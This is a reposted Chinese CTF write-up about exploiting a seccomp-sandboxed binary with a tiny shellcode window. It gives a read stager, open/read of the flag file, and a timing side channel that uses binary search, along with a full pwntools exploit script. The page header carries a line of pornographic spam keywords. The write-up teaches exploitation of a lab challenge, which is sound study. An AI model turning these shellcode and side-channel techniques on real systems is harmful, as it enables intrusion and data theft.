日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【pwn】记一道shellcode侧信道攻击

發布時間:2023/12/31 编程问答 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【pwn】记一道shellcode侧信道攻击 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

【pwn】記一道shellcode側信道攻擊

前言

契機來源于K0nashi師傅給的一道題目,讓我來寫寫shellcode,那當然是寫啊!

分析

checksec之后發現保護全開,打開ida分析發現有沙箱,直接查看沙箱

可以使用read open,不能使用write,并且判斷了A < 0x40000000。

再進入ida看看

先mmap一段可執行的chunk,然后可以寫入0x18長度的shellcode,最后設立沙箱規則之后執行我們剛剛寫入的shellcode。

那么一種新的思路就是側信道攻擊

簡單來說就是我們先open flag,然后read flag到stack上,通過逐一對比stack上的字符來判斷我們爆破的flag字符是否正確,正確就loop循環,不正確就直接exit。

這點類似于web題目中的布爾盲注,當然我們這里也用到了時間盲注,根據是否eof來判斷是否正確。

做法

首先由于0x18的shellcode的限制,我們不可能在這里完成read和open,所以先在0x18的地方寫入一段read的shellcode,讓我們可以讀如更多的shellcode

我們先動調一下,發現我們寫入的第一段shellcode會寫入0x10000這個mmap的起始地點,并且我們寫入了0x18的長度的shellcode,rip最后會到0x10018的地方,所以我們讓read寫入的地址為0x10018就可以了

def setread():global io# rdi rsi rdx rcx# read(0,&0x10018,0x250)shellcode = '''push 0x250pop rdxxor rsi,rsimov rsi,0x10018xor rdi,rdixor rax,raxsyscall'''shellcode = asm(shellcode)rl()s(shellcode)sleep(0.3)

然后我們可以寫入0x250長度的shellcode,我們先open flag,再讀取flag,這點直接用shellcraft就可以做到

orw_payload = shellcraft.open('flag') orw_payload += shellcraft.read(3,'rsp',0x100)

接下來就是重點了,我們需要寫入一段shellcode來判斷我們爆破的flag是否正確,這里要用到匯編中的jz或者使用二分法,ja來判斷。

在這里強調一點,目前網上絕大部分的有關shellcode的爆破都是通過jz來判斷是否相同,而wjh師傅使用了二分法的ja來縮小爆破時間和次數,我這里參考了wjh師傅的第五屆 “藍帽杯” Final PWN、RE Writeup,中的secretcode的exp寫法。

這里是我寫的比較方法(基于二分法)

orw_payload += f'''mov dl,byte ptr [rsp+{i}]mov cl,{mid}cmp dl,clja loopmov al,0x3csyscallloop:jmp loop'''

完整的pwn函數

def pwn():global ioflag = "flag{"count = 1for i in range (len(flag),0x20):left = 0right = 127while left < right:setread()mid = (left + right) >> 1orw_payload = shellcraft.open('flag')orw_payload += shellcraft.read(3,'rsp',0x100)orw_payload += f'''mov dl,byte ptr [rsp+{i}]mov cl,{mid}cmp dl,clja loopmov al,0x3csyscallloop:jmp loop'''orw_payload = asm(orw_payload)sl(orw_payload)start_time = time.time()try:io.recv(timeout=0.25)if time.time() - start_time > 0.1:left = mid + 1except:right = midio.close()clear()info(f"time-->{count}")info(flag)count += 1io = getprocess()flag += chr(left)info(flag)if flag[-1] == "}":break

我們的判斷條件就是這個時間間隔是否大于了0.1,大于0.1可以證明進入了loop循環,那么我們的結果就是正確的,所以left = mid + 1縮小范圍,直到left == right就是我們需要的flag正確字符

exp

#!/usr/bin/python3 # -*- coding: UTF-8 -*- # ----------------------------------- # @File : exp.py # @Author : woodwhale # @Time : 2021/10/15 13:49:57 # -----------------------------------from pwn import * from LibcSearcher import * import sys, subprocess, warnings, osfrom pwnlib.adb.adb import shelldef ret2libc(addr,func,binary=null):libc = LibcSearcher(func,addr) if binary == null else binarylibc.address = addr - libc.dump(func) if binary == null else addr-libc.sym[func]system = libc.address+libc.dump('system') if binary == null else libc.sym['system']binsh = libc.address+libc.dump('str_bin_sh') if binary == null else next(libc.search(b'/bin/sh'))leak('libc_base',libc.address)leak('system',system)leak('binsh',binsh)return(system,binsh)def hack(pwn):global io,binary,libctimes = 0while True:try:times += 1clear()info(f'time --> {times}')pwn()except:io.close()io = getprocess()def init(binary):global arglen, elf, path , libc, context, ioarglen = len(sys.argv)warnings.filterwarnings('ignore')context.terminal = ['gnome-terminal','-x', 'bash','-c']elf = ELF(binary)path = libcpath(binary)libc = ELF(path)libc.path = pathcontext.arch = elfbit(binary)io = getprocess()s = lambda data : io.send(data) sa = lambda rv,data : io.sendafter(rv,data) sl = lambda data : io.sendline(data) sla = lambda rv,data : io.sendlineafter(rv,data) r = lambda num : io.recv(num) rl = lambda keepends=True : io.recvline(keepends) ru = lambda data,drop=True,time=null : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time) ia = lambda : io.interactive() l32 = lambda : u32(ru(b'\xf7',False)[-4:].ljust(4,b'\x00')) l64 = lambda : u64(ru(b'\x7f',False)[-6:].ljust(8,b'\x00')) uu32 = lambda data : u32(data.ljust(4,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) i16 = lambda data : int(data,16) leak = lambda name,addr : log.success('\033[33m{}\033[0m = \033[31m{:#x}\033[0m'.format(name, addr)) info = lambda data : log.info(f'\033[36m{data}\033[0m') pau = lambda : pause() if DEBUG else null dbg = lambda point=null : (gdb.attach(io) if point == null else gdb.attach(io,f'b *{point}')) if DEBUG else null og = lambda path=null : list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' '))) rg = lambda binary,only,grep : i16(subprocess.check_output([f"ROPgadget --binary {binary} --only '{only}' | grep {grep}"],shell=True).decode().split(' ')[0]) setlibc = lambda leak,func : leak - libc.sym[func] elfbit = lambda binary : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64' libcpath = lambda binary : subprocess.check_output(['ldd',binary]).decode().replace(' ', '').split('\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\n').split('\n')[0] proce = lambda binary,libc=null : process(binary) if GLIBC else process(binary,env={'LD_PRELOAD':'./'+libc}) getprocess = lambda : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2])) clear = lambda : os.system('clear')# context.log_level='debug' DEBUG = 1 GLIBC = 1 binary = './chall' init(binary)def setread():global io# rdi rsi rdx rcx# read(0,&0x10018,0x250)shellcode = '''push 0x250pop rdxxor rsi,rsimov rsi,0x10018xor rdi,rdixor rax,raxsyscall'''shellcode = asm(shellcode)rl()s(shellcode)sleep(0.3)def pwn():global ioflag = "flag{"count = 1for i in range (len(flag),0x20):left = 0right = 127while left < right:setread()mid = (left + right) >> 1orw_payload = shellcraft.open('flag')orw_payload += shellcraft.read(3,'rsp',0x100)orw_payload += f'''mov dl,byte ptr [rsp+{i}]mov cl,{mid}cmp dl,clja loopmov al,0x3csyscallloop:jmp loop'''orw_payload = asm(orw_payload)sl(orw_payload)start_time = time.time()try:io.recv(timeout=0.25)if time.time() - start_time > 0.1:left = mid + 1except:right = midio.close()clear()info(f"time-->{count}")info(flag)count += 1io = getprocess()flag += chr(left)info(flag)if flag[-1] == "}":breakpwn() ia()

最終僅僅使用了半分鐘爆破126次就get flag了

總結

以上是生活随笔為你收集整理的【pwn】记一道shellcode侧信道攻击的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。